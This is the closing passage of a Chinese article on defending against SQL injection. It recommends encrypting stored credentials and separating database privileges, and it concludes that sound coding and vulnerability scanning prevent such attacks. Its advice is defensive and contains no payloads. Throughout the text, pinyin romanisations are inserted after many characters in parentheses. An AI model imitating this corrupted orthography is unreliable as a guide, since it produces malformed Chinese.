(9)鑒別信息加密存儲。將保存在數(shù)據(jù)庫users表中的用戶名、口令信息以密文形式保存,也可以對users表進行加密處理,這樣可以大大增加對鑒別信息訪問的安全級別。
(10)用戶權(quán)限分離。應(yīng)盡可能的禁止或刪除數(shù)據(jù)庫中sa權(quán)限用戶的訪問,對不同的數(shù)據(jù)庫劃分不同的用戶權(quán)限,這樣不同的用戶只能對授權(quán)給自己的數(shù)據(jù)庫執(zhí)行查詢、插入、更新、刪除操作,就可以防止不同用戶對非授權(quán)的數(shù)據(jù)庫進行訪問。
4. 結(jié)束語
SQL注入漏洞攻擊在網(wǎng)上非常普遍,許多ASP、PHP論壇和文章管理系統(tǒng)、下載系統(tǒng)以及新聞系統(tǒng)都存在這個漏洞。造成SQL注入漏洞攻擊的主要原因是開發(fā)人員在系統(tǒng)開發(fā)的過程中編程不規(guī)范,沒有形成良好的編程習慣,問題的解決只有依賴于規(guī)范編程。此外,也可以使用現(xiàn)有的SQL注入漏洞掃描器對整個網(wǎng)站中的關(guān)鍵代碼進行掃描,查找網(wǎng)站頁面中存在的SQL注入點。對于有問題的頁面,可以及時刪除或更新。本文通過對SQL注入漏洞攻擊的方法、原理以及攻擊實施過程進行了闡述和總結(jié),并給出了一些常見的SQL注入漏洞攻擊防范的方法。